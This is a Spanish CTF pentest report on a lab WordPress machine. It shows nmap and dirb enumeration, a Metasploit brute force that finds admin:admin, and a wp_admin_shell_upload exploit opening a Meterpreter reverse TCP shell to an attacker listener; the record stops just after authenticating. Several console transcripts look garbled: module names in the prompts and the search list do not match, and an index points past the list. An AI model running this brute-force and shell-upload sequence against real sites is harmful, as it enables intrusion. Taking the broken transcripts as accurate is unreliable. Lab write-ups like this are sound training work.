

Informe de

Pentest CTF

Explotación y Post-Explotación

1. Introducción	3
2. Alcances y Objetivos	3
3. Metodología	4
4. Resultados	5
5. Vulnerabilidades	25
6. Recomendaciones	26
7. Conclusiones	27

Versión	Fecha	Auditor	Cambios
1.1	04/12/ 2025	Ignacio Elízaga Vernis	xxxxxxxx

1. Introducción

Este documento presenta los hallazgos y conclusiones del ejercicio de pentesting realizado sobre la máquina “Explotación y Post-Exploitación.ova” en el marco del CTF. Describe el alcance, la metodología aplicada (reconocimiento, identificación y explotación controlada de vulnerabilidades) y las vulnerabilidades detectadas. El objetivo de la entrega es demostrar las técnicas empleadas, evaluar el nivel de exposición y seguridad de la máquina.

2. Alcance y objetivos

El alcance de esta auditoría abarca el análisis de seguridad de la máquina “Explotación y Post-Exploitación.ova”, centrado en la identificación y explotación controlada de vulnerabilidades y otras configuraciones inseguras detectadas durante el desarrollo del CTF. Durante la evaluación se aplicaron técnicas de pentesting orientadas a entornos de sistemas operativos, utilizando herramientas específicas para la recopilación de información, detección de fallos y verificación de su impacto real.

Los objetivos principales del proyecto son:

- Identificar vulnerabilidades relevantes que afecten la seguridad de la máquina.
- Evaluar su impacto potencial y demostrar la posibilidad de explotación de forma controlada.
- Documentar las pruebas realizadas, las herramientas empleadas y las evidencias obtenidas.

El propósito final de esta entrega es demostrar el proceso de un pentest ético sobre una máquina vulnerable, evidenciando la comprensión de las fases, técnicas y tácticas empleadas en un entorno virtual de seguridad ofensiva.

3. Metodología

La metodología aplicada sigue el estándar PTES (Penetration Testing Execution Standard) y se estructura en las siguientes fases, adaptadas al ejercicio práctico de Explotación y Post-Explotación:

1. Pre-engagement / Reglas de compromiso

Definición de alcance y reglas del ejercicio (máquina objetivo, límites, archivos/flags a buscar, no transferencia de malware, no impacto fuera del entorno controlado). En el contexto del CTF se confirma el objetivo: una máquina virtual Linux con un servicio web (WordPress) y objetivos claros (flag usuario, flag root).

2. Intelligence Gathering / Recolección de información

Búsqueda y recopilación de todo dato útil sobre la máquina y su entorno (dirección IP, endpoints web, parámetros, tecnologías usadas en WordPress, plugins, usuarios, flujos de autenticación). Se emplean técnicas pasivas y activas —por ejemplo, escaneo Nmap controlado, enumeración de directorios con gobuster— para preparar las pruebas posteriores. Esta fase alimenta el modelado de amenazas y priorización de vectores.

3. Threat Modeling y Priorización / Modelado de Amenazas y priorización

A partir de la información recogida se identifican activos críticos (WordPress, puertos abiertos, servicios con versiones antiguas) y se priorizan vectores de ataque potenciales según probabilidad e impacto (p. ej. plugin vulnerable frente a servicio SSH con credenciales débiles). Esta fase guía el enfoque del análisis de vulnerabilidades y explotación.

4. Vulnerability Analysis / Análisis de vulnerabilidades

Identificación sistemática de fallos mediante análisis manual y herramientas automatizadas orientadas a las categorías relevantes (vulnerabilidades web, plugins/themes de WordPress, configuraciones inseguras del sistema). En este CTF se prioriza la auditoría del sitio WordPress (plugins, temas, puntos de subida/exec) y la correlación de versiones/firmwares con exploits conocidos. Herramientas típicas: scanners especializados, revisión manual de endpoints y análisis de configuración (SUID, cron, sudoers).

5. Exploitation & Privilege Escalation (Post-Exploitation Initial) / Explotación y Escalado de Privilegios (Post-Exploración Inicial)

Verificación controlada de las vulnerabilidades halladas mediante pruebas reproducibles: primero para obtener acceso inicial (p. ej. exploit de WordPress con Metasploit y Meterpreter o explotación manual de un upload/exec), seguido por enumeración desde la shell comprometida y, finalmente, intentos de elevación de privilegios con técnicas locales. El objetivo es demostrar impacto real (obtener flag usuario y flag root) respetando el alcance y las normas éticas del ejercicio (sin desplegar troyanos persistentes fuera del entorno controlado).

6. Post-Exploitation / Post-Exploración

Exploración del sistema comprometido para identificar rutas hacia credenciales, datos sensibles y vectores de persistencia relevantes en el contexto del laboratorio (enumeración de ficheros, revisión de configuraciones, extracción de flags). Se documentan los hallazgos y, en el entorno del CTF, se evita cualquier acción que cause daño o altere irreversiblemente la máquina objetivo; las técnicas de persistencia se describen y se implementan, ya que es un alcance y requisitos permitido.

7. Reporting / Documentación y Recomendaciones

Registro detallado de pruebas: comandos ejecutados, outputs relevantes, capturas de pantalla y rutas de los flags; inventario de herramientas utilizadas (Nmap, Gobuster, Burp, Metasploit, Meterpreter, john/hashcat, etc.). A partir de las pruebas se generan recomendaciones concretas y priorizadas para mitigación (actualizar WordPress y plugins, restringir subidas, revisar permisos SUID/cron/sudo, endurecer configuraciones de servicio y mejorar monitorización y alertas).

4. Resultados

Durante la prueba de penetración sobre la máquina “Explotación y Post-Exploración.ova”, se identificaron diversas vulnerabilidades y configuraciones inseguras diseñadas para evaluar la seguridad del sistema. Cada hallazgo se documenta incluyendo:

- Nivel de criticidad: Clasificación del riesgo según su impacto sobre la confidencialidad, integridad y disponibilidad.
- Evidencia: Capturas de pantalla, logs y resultados que respaldan la existencia de la vulnerabilidad.
- Recomendación de mitigación: Medidas correctivas para reducir o eliminar el riesgo.

Todas las evidencias (capturas de pantalla) recopiladas durante el análisis se presentan en esta sección, garantizando trazabilidad y soporte completo de los hallazgos.

Inicio msfconsole

```
(root㉿kali)-[~]
# msfconsole
Metasploit tip: Use help <command> to learn more about any command

          .:ok000kdc'      'cdk000ko:.
          .x00000000000c      c000000000000x.
          :0000000000000k,    ,k00000000000000:
'00000000000kkkk00000: :000000000000000000'
o00000000000000000000000000000000000000000000
d00000000000000000000000000000000000000000000
l00000000000000000000000000000000000000000000
.00000000000000000000000000000000000000000000
.c0000000000000000000000000000000000000000000
o0000000000000000000000000000000000000000000
l0000000000000000000000000000000000000000000
;0000000000000000000000000000000000000000000;
.d0000WM.00000cccx0000.MX'x00d.
,k01'M.0000000000000000.M'd0k,
:kk;.0000000000000000.;0k:
;k000000000000000000000000000000000000000000
,x000000000000000000000000000000000000000000
.l000000000000000000000000000000000000000000
,d0d,
.

=[ metasploit v6.4.94-dev
+ -- --=[ 2,565 exploits - 1,315 auxiliary - 1,683 payloads      ]
+ -- --=[ 431 post - 49 encoders - 13 nops - 9 evasion      ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > workspace -a CTF
[*] Added workspace: CTF
[*] Workspace: CTF
msf > wokspce -v
[-] Unknown command: wokspce. Did you mean workspace? Run the help command for more details.
msf > wokspaces -v
```

Creo el workspace llamado ctf

```
msf > workspace -a CTF
[*] Added workspace: CTF
[*] Workspace: CTF
msf > wokspce -v
[-] Unknown command: wokspce. Did you mean workspace? Run the help command for more details.
msf > wokspaces -v
[-] Unknown command: wokspaces. Did you mean workspace? Run the help command for more details.
msf > workspace -v

Workspaces
=====

current  name      hosts  services  vulns  creds  loots  notes
-----  -----
Windowsplotable  1      1        2       4       0       2
default        2      51      190     11      12      11
owaspbwa       1      5        95      0       0       3
Metasploitable2 1      0        1       7       4       1
Metasploitable2 1      1        1       0       0       2
*      CTF        0      0        0       0       0       0

msf > 
```

Hago un db_nmap para ver la ip de la máquina que es 10.0.2.6 y

```
msf > db_namp -sv 10.0.2.0/24 -T 5 -o
[*] Unknown command: db_namp. Did you mean db_nmap? Run the help command for more details.
[*] msf > db_nmap -sv 10.0.2.0/24 -T 5 -o
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-28 09:44 CET
[*] Nmap: Nmap scan report for 10.0.2.1
[*] Nmap: Host is up (0.00063s latency).
[*] Nmap: Not shown: 997 filtered tcp ports (no-response)
[*] Nmap: PORT      STATE SERVICE VERSION
[*] Nmap: 135/tcp   open  msrpc    Microsoft Windows RPC
[*] Nmap: 445/tcp   open  microsoft-ds?
[*] Nmap: 1434/tcp  open  tcpwrapped
[*] Nmap: MAC Address: 52:55:0A:00:02:01 (Unknown)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: Device type: VoIP adapter|general purpose|bridge
[*] Nmap: Running (JUST GUESSING): AT&T embedded (99%), QEMU (95%), Oracle Virtualbox (94%), Slirp (94%)
[*] Nmap: OS CPE: cpe:/a:qemu:qemu cpe:/a:oracle:m_virtualbox cpe:/a:danny_gasparovski:slirp
[*] Nmap: Aggressive OS guesses: AT&T BGW210 voice gateway (99%), QEMU user mode network gateway (95%), Oracle Virtualbox Slirp NAT bridge (94%)
[*] Nmap: No exact OS matches for host (test conditions non-ideal).
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Nmap scan report for 10.0.2.2
[*] Nmap: Host is up (0.00028s latency).
[*] Nmap: All 1000 scanned ports on 10.0.2.2 are in ignored states.
[*] Nmap: 135/tcp  closed  msrpc
[*] Nmap: 445/tcp  closed  microsoft-ds (reset)
[*] Nmap: MAC Address: 00:00:27:D9:5D:1A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: Aggressive OS guesses: 2N Helios IP VoIP doorbell (96%), Advanced Illumination DCS-100E lighting controller (96%), AudioControl D3400 network amplifier (96%), B
pener (96%), Daikin DKN Cloud Wi-Fi Adaptor (96%), Daysequerra M4.2SI radio (96%), Denver Electronics AC-5000W MK2 camera (96%), Eve Cam (lwIP 2.1.0 - 2.2.0) (96%), Fatek
[*] Nmap: No exact OS matches for host (test conditions non-ideal).
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Nmap scan report for 10.0.2.6
[*] Nmap: Host is up (0.00047s latency).
[*] Nmap: Not shown: 998 closed tcp ports (reset)
[*] Nmap: PORT      STATE SERVICE VERSION
[*] Nmap: 22/tcp   open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 80/tcp   open  http     Apache httpd 2.4.29 ((Ubuntu))
[*] Nmap: MAC Address: 08:00:27:51:C5:80 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.14
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Nmap scan report for 10.0.2.12
[*] Nmap: Host is up (0.000059s latency).
[*] Nmap: Not shown: 999 closed tcp ports (reset)
```

Es 10.0.2.6

```
[*] Nmap: Aggressive OS guesses: 2N Helios IP VoIP doorbell (96%), Advanced Illumination DCS-100E lighting controller (96%), AudioControl D3400
pener (96%), Daikin DKN Cloud Wi-Fi Adaptor (96%), Daysequerra M4.2SI radio (96%), Denver Electronics AC-5000W MK2 camera (96%), Eve Cam (lwIP 2
[*] Nmap: No exact OS matches for host (test conditions non-ideal).
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Nmap scan report for 10.0.2.6
[*] Nmap: Host is up (0.00047s latency).
```

Ahí se ven todos los puertos usando el comando services

host	port	proto	name	state	info
10.0.2.1	135	tcp	msrpc	open	Microsoft Windows RPC
10.0.2.1	445	tcp	microsoft-ds	open	
10.0.2.1	1434	tcp	tcpwrapped	open	
10.0.2.6	22	tcp	ssh	open	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
10.0.2.6	80	tcp	http	open	Apache httpd 2.4.29 ((Ubuntu))
10.0.2.112	22	tcp	ssh	open	OpenSSH 10.0p2 Debian 8 protocol 2.0

```
msf > █
```

Escaneando todos los puertos me da estos dos.

```
msf > db_nmap -sv 10.0.2.6 -p1-65535 -T 5 -o
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-28 09:57 CET
[*] Nmap: Nmap scan report for 10.0.2.6
[*] Nmap: Host is up (0.00055s latency).
[*] Nmap: Not shown: 65533 closed tcp ports (reset)
[*] Nmap: PORT      STATE SERVICE VERSION
[*] Nmap: 22/tcp   open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 80/tcp   open  http     Apache httpd 2.4.29 ((Ubuntu))
[*] Nmap: MAC Address: 08:00:27:51:C5:80 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.14
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds
msf > █
```

Compruebo que se ha metido la información en el workspace

current	name	hosts	services	vulns	creds	loots	notes
	Windowsplotable	1	1	2	4	0	2
	default	2	51	190	11	12	11
	owaspbwa	1	5	95	0	0	3
*	Metasploitable2	1	0	1	7	4	1
	Metasploitable2	1	1	1	0	0	2
	CTF	4	6	0	0	0	6

Uso dirb con la IP de la máquina virtual y vemos las distintas urls.

```
[*] exec: dirb http://10.0.2.6

_____
DIRB v2.22
By The Dark Raver
_____

START_TIME: Tue Oct 28 09:59:51 2025
URL_BASE: http://10.0.2.6/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
_____
GENERATED WORDS: 4612

_____
Scanning URL: http://10.0.2.6/
+ http://10.0.2.6/index.php (CODE:301|SIZE:0)
+ http://10.0.2.6/server-status (CODE:403|SIZE:296)
=> DIRECTORY: http://10.0.2.6/wp-admin/
=> DIRECTORY: http://10.0.2.6/wp-content/
=> DIRECTORY: http://10.0.2.6/wp-includes/
+ http://10.0.2.6/xmlrpc.php (CODE:405|SIZE:42)

_____
Entering directory: http://10.0.2.6/wp-admin/
+ http://10.0.2.6/wp-admin/admin.php (CODE:302|SIZE:0)
=> DIRECTORY: http://10.0.2.6/wp-admin/css/
=> DIRECTORY: http://10.0.2.6/wp-admin/images/
=> DIRECTORY: http://10.0.2.6/wp-admin/includes/
+ http://10.0.2.6/wp-admin/index.php (CODE:302|SIZE:0)
=> DIRECTORY: http://10.0.2.6/wp-admin/js/
=> DIRECTORY: http://10.0.2.6/wp-admin/maint/
=> DIRECTORY: http://10.0.2.6/wp-admin/network/
=> DIRECTORY: http://10.0.2.6/wp-admin/user/

_____
Entering directory: http://10.0.2.6/wp-content/
+ http://10.0.2.6/wp-content/index.php (CODE:200|SIZE:0)
=> DIRECTORY: http://10.0.2.6/wp-content/plugins/
=> DIRECTORY: http://10.0.2.6/wp-content/themes/
```

- Me meto en el navegador pongo la IP de la maquina descargada y veo que el usuario es admin.

CK~00
Just another WordPress site
Hello world!
Welcome to WordPress. This is your first post. Edit or delete it, then start writing!
Posted by [admin](#) on [August 2, 2019](#) | Posted in [Uncategorized](#) | [1 Comment](#) on [Hello world!](#)
Search for:

Recent posts
• [Hello world!](#)

Recent Comments
• [A WordPress Commenter](#) on [Hello world!](#)

Archives
• [August 2019](#)

Categories
• [Uncategorized](#)

Meta
• [Log in](#)
• [Entries RSS](#)
• [Comments RSS](#)
• [WordPress.org](#)

CK~00. Proudly powered by WordPress.

Aquí se ve como utilizo burpsuite pero al final no lo hemos utilizado.

Burp Suite Community Edition v2025.9.5 - Temporary Project

Request to http://ck:80 [unknown host]

Time	Tvde	Direction	Method	URL	Status code	Length
20:25:45 2...	HTTP	→ Request	GET	http://ck/?s=hola		

Request

```
Pretty Raw Hex
1 GET /?s=hola HTTP/1.1
2 Host: ck
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Referer: http://10.0.2.6/
9 Upgrade-Insecure-Requests: 1
```

Inspector

Request attributes
2

Request query parameters
1

Request body parameters
0

Request cookies
0

Request headers
9

Aquí busco un login de wordpress por lo que uso el 0.

```
msf > search type:auxiliary login wordpress
Matching Modules
# Name Disclosure Date Rank Check Description
0 auxiliary/scanner/http/wordpress_login_enum . normal No WordPress Brute Force and User Enumeration Utility
1 auxiliary/scanner/http/wp_loginizer_log_sql . 2026-10-21 normal No WordPress Loginizer log SQLi Scanner
2 auxiliary/admin/http/wp_easycart_privilege_escalation . 2015-02-25 normal Yes WordPress WP EasyCart Plugin Privilege Escalation
3 auxiliary/admin/http/wplms_privilege_escalation . 2015-02-09 normal Yes WordPress WPLMS Theme Privilege Escalation
4 auxiliary/admin/http/wp_easycart_privilege_escalation . 2023-07-27 normal Yes WordPress WP EasyCart Plugin Privilege Escalation
5 auxiliary/scanner/http/wp_paid_membership_pro_code_sql . 2023-01-12 normal Yes WordPress Paid Membership Pro code Unauthenticated SQLi
6 auxiliary/scanner/http/wp_secure_copy_content_protection_sql . 2021-11-08 normal Yes WordPress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi
7 auxiliary/scanner/http/wordpress_xmlrpc_login . normal No WordPress XML-RPC Username/Password Login Scanner

Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_xmlrpc_login
msf > use 0
msf auxiliary(scanner/http/wordpress_login_enum) >
```

Aquí lanzo el comando options y relleno todos los datos que le hacen falta.

```
msf auxiliary(scanner/http/wordpress_login_enum) > options
Module options (auxiliary/scanner/http/wordpress_login_enum):
Name          Current Setting  Required  Description
ANONYMOUS_LOGIN    false        yes      Attempt to login with a blank username and password
BLANK_PASSWORDS   false        no       Try blank passwords for all users
BRUTEFORCE        true         yes      Perform brute force authentication
BRUTEFORCE_SPEED  5           yes      How fast to bruteforce, from 0 to 5
DB_ALL_CREDS     false        no       Try each user/password couple stored in the current database
DB_ALL_PASS       false        no       Add all passwords in the current database to the list
DB_ALL_USERS     false        no       Add all users in the current database to the list
DB_SKIP_EXISTING none        no       Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
ENUMERATE_USERNAMES true        yes      Enumerate usernames
PASSWORD          no          no       A specific password to authenticate with
PASS_FILE         no          no       File containing passwords, one per line
Proxies           no          no       A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, sapni
RANGE_END         10          no       Last user id to enumerate
RANGE_START       1           no       First user id to enumerate
RHOSTS            yes         yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT             80          yes      The target port (TCP)
SSL               false        no       Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS   false        yes      Stop guessing when a credential works for a host
TARGETURI         /           yes      The base path to the wordpress application
THREADS           1           yes      The number of concurrent threads (max one per host)
USERNAME          no          no       A specific username to authenticate as
USERLISTS_FILE    no          no       File containing users and passwords separated by space, one pair per line
USER_AS_PASS      false        no       Try the username as the password for all users
USER_FILE          no          no       File containing usernames, one per line
VALIDATE_USERS    true        yes      Validate usernames
VERBOSE           true        yes      Whether to print output for all attempts
VHOST             no          no       HTTP server virtual host

View the full module info with the info, or info -d command.
msf auxiliary(scanner/http/wordpress_login_enum) > set USERNAME admin
USERNAME => admin
msf auxiliary(scanner/http/wordpress_login_enum) > options
[*] Unknown command: options. Did you mean options? Run the help command for more details.
msf auxiliary(scanner/http/wordpress_login_enum) > options
[*] Unknown command: options. Did you mean options? Run the help command for more details.
msf auxiliary(scanner/http/wordpress_login_enum) > options

Module options (auxiliary/scanner/http/wordpress_login_enum):
Name          Current Setting  Required  Description
```

Hago uso de rockyou.txt para hacer el exploit y también incorpooro el RHOSTS el ANONYMOUS_LOGIN y lo exploito para conseguir una sesión meterpreter.

```
View the full module info with the info, or info -d command.
msf auxiliary(scanner/http/wordpress_login_enum) > set RHOSTS 10.0.2.6
RHOSTS => 10.0.2.6
msf auxiliary(scanner/http/wordpress_login_enum) > set ANONYMOUS_LOGIN true
ANONYMOUS_LOGIN => true
msf auxiliary(scanner/http/wordpress_login_enum) > set PASSFILE /usr/share/wordlists/rockyou.txt
[!] Unknown datastore option: PASSFILE. Did you mean PASS_FILE?
PASSFILE => /usr/share/wordlists/rockyou.txt
msf auxiliary(scanner/http/wordpress_login_enum) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf auxiliary(scanner/http/wordpress_login_enum) > exploit
[*] / - WordPress Version 5.2.2 detected
[*] 10.0.2.6:80 - / - WordPress User-Enumeration - Running User Enumeration
[*] 10.0.2.6:80 - / - WordPress User-Validation - Running User Validation
[*] 10.0.2.6:80 - Pair list is still building with 14251953 pairs left to process
```

Ahago el exploit y obtengo el usuario y contraseña que son admin admin

```
msf auxiliary(scanner/http/wordpress_login_enum) > set RHOSTS 10.0.2.6
RHOSTS => 10.0.2.6
msf auxiliary(scanner/http/wordpress_login_enum) > set ANONYMOUS_LOGIN true
ANONYMOUS_LOGIN => true
msf auxiliary(scanner/http/wordpress_login_enum) > set PASSFILE /usr/share/wordlists/rockyou.txt
[*] Unknown datastore option: PASSFILE. Did you mean PASS_FILE?
PASSFILE => /usr/share/wordlists/rockyou.txt
msf auxiliary(scanner/http/wordpress_login_enum) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf auxiliary(scanner/http/wordpress_login_enum) > exploit
[*] / - WordPress Version 5.2.2 detected
[*] 10.0.2.6:80 - / - WordPress User-Enumeration - Running User Enumeration
[*] 10.0.2.6:80 - / - WordPress User-Validation - Running User Validation
[*] 10.0.2.6:80 - Pair list is still building with 14251953 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 14149956 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 14061528 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 13935051 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 13824845 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 13641492 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 13395213 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 13141196 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 12885153 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 12629559 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 12373581 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 12118299 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 11863912 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 11653923 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 11483457 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 11305246 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 11118763 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 10930661 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 10748999 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 10566781 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 10377921 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 10164538 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 9920821 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 9676122 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 9430434 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 9185243 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 8939134 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 8696863 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 8452807 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 8207600 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 7962378 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 7716733 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 7475993 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 7234899 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 6999613 pairs left to process
[*] 10.0.2.6:80 - Pair list is still building with 6759048 pairs left to process
```

Obtengo la contraseña

```
[+] / - WordPress Brute Force - SUCCESSFUL login for 'admin' : 'admin'
```

Hago esta búsqueda.

```

msf exploit[*]:http/control_wp_panel_login_cmd_exec > search type:exploit wordpress
Matching Modules
=====
#   Name                               Disclosure Date  Rank    Check  Description
0   exploit/windows/fileformat/adobe_flashplayer_button      2010-10-28  normal  No   Adobe Flash Player "Button" Remote Code Execution
1   exploit/windows/browser/adobe_flashplayer_newfunction    2010-06-04  normal  No   Adobe Flash Player "newfunction" Invalid Pointer Use
2   exploit/windows/browser/adobe_flashplayer_newfunction    2010-06-04  normal  No   Adobe Flash Player "newfunction" Invalid Pointer Use
3   exploit/osx/local/rootsign_entitlements                 2015-07-01  great  Yes  Apple OS X Entitlements Rootsign Privilege Escalation
4   exploit/osx/local/rootsign                            2015-04-09  great  Yes  Apple OS X Rootsign Privilege Escalation
5   exploit/osx/local/easyftp_cwd_fixer                   2010-02-16  great  Yes  EasyFTP Server CMD Command Stack Buffer Overflow
6   \_ target: Windows Universal - v1.7.0.2              .       .       .
7   \_ \_ target: Windows Universal - v1.7.0.3             .       .       .
8   \_ \_ target: Windows Universal - v1.7.0.4             .       .       .
9   \_ \_ target: Windows Universal - v1.7.0.5             .       .       .
10  \_ \_ target: Windows Universal - v1.7.0.6             .       .       .
11  \_ \_ target: Windows Universal - v1.7.0.7             .       .       .
12  \_ \_ target: Windows Universal - v1.7.0.8             .       .       .
13  \_ \_ target: Windows Universal - v1.7.0.9             .       .       .
14  \_ \_ target: Windows Universal - v1.7.0.10            .       .       .
15  \_ \_ target: Windows Universal - v1.7.0.11            .       .       .
16  exploit/freedom/local/rtd_exec_lpriv_esc           2009-11-30  excellent Yes  FreeBSD rtd_execl() Privilege Escalation
17  exploit/multi/http/wp_givewp_rce                  2024-08-25  excellent Yes  GiveWP Unauthenticated Donation Process Exploit
18  \_ \_ target: Windows Command Shell
19  \_ \_ target: Windows Command Shell
20  exploit/unix/webapp/joomla_akeneo_unserialize        2014-09-29  excellent Yes  Joomla Akeneo Kickstart Unserialize Remote Code Execution
21  exploit/unix/webapp/php_mysqli_injection            2022-06-18  excellent Yes  MySQLi Injection of unserialize Unsafe Object Package Handling Vulnerability
22  exploit/unix/webapp/php_xmtpc_eval                2005-06-29  excellent Yes  PHP XML-RPC Arbitrary Code Execution
23  exploit/unix/http/phole_dhcp_mac_exec            2020-03-29  good   Yes  Pi-hole DHCP MAC OS Command Execution
24  exploit/unix/http/brick_builder_rce               2011-04-09  normal  Yes  Quest Privilege Manager pmaasterd Buffer Overflow
25  \_ \_ target: Quest Privilege Manager pmaasterd 6.0.0-27 x64
26  \_ \_ target: Quest Privilege Manager pmaasterd 6.0.0-27 x86
27  exploit/unix/webapp/mediawiki_wikibot_rce          2012-07-20  normal  Yes  Simple Web Server Connection Header Buffer Overflow
28  exploit/multi/http/wp_duplicator_code_inject       2018-08-29  manual  Yes  Snap Creek Duplicator WordPress plugin code injection
29  exploit/multi/http/wp_tatsu_rce                  2022-04-25  excellent Yes  Tatsu WordPress Plugin RCE
30  exploit/unix/http/brick_builder_rce               2021-02-19  excellent Yes  Unauthenticated RCE in Bricks Builder Theme
31  \_ \_ target: Automatic
32  \_ \_ target: PHP In-Memory
33  \_ \_ target: MySQL In-Memory
34  \_ \_ target: Windows In-Memory
35  exploit/multi/http/wp_db_backup_rce             2019-04-24  excellent Yes  WP Database Backup RCE
36  \_ \_ target: Windows
37  \_ \_ target: MySQL
38  exploit/multi/http/wp_user_registration_membershipEscalation 2025-03-24  excellent Yes  WP User Registration and Membership Unauthenticated Privilege Escalation (CVE-2025-2563)
39  \_ \_ target: PHP In-Memory

```

Ahora selecciono el 44

Y le cambio el options.

```

msf exploit[*]:http/control_wp_panel_login_cmd_exec > use 44
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit[*]:http/control_wp_panel_login_cmd_exec > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):
=====
Name      Current Setting  Required  Description
PASSWORD   yes            yes        The WordPress password to authenticate with
Proxies    no             no         A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS    yes            yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     80             yes        The target port (TCP)
SSL       false           no         Negotiate SSL/TLS for outgoing connections
TARGETURI /             yes        The base path to the wordpress application
USERNAME  yes            yes        The WordPress username to authenticate with
VHOST     no             no         HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):
=====
Name      Current Setting  Required  Description
LHOST    10.0.2.112      yes        The listen address (an interface may be specified)
LPORT    4444             yes        The listen port

Exploit target:
Id  Name
-- 
0  WordPress

View the full module info with the info, or info -d command.
msf exploit[*]:http/control_wp_panel_login_cmd_exec > set PASSWORD admin
PASSWORD => admin
msf exploit[*]:http/control_wp_panel_login_cmd_exec > set USERNAME admin
USERNAME => admin
msf exploit[*]:http/control_wp_panel_login_cmd_exec > set RHOSTS 10.0.2.6
RHOSTS => 10.0.2.6
msf exploit[*]:http/control_wp_panel_login_cmd_exec > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):
=====
Name      Current Setting  Required  Description
PASSWORD   admin           yes        The WordPress password to authenticate with
Proxies    no             no         A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS    10.0.2.6        yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     80             yes        The target port (TCP)

```

Uso en meterpreter la shell

```
[msf] exploit(msfvenom/rev_mimikatz_shell_openssl) > exploit
[*] Started reverse TCP handler on 10.0.2.112:4444
[*] Authenticating with WordPress using admin:admin..
[*] Authenticated with WordPress
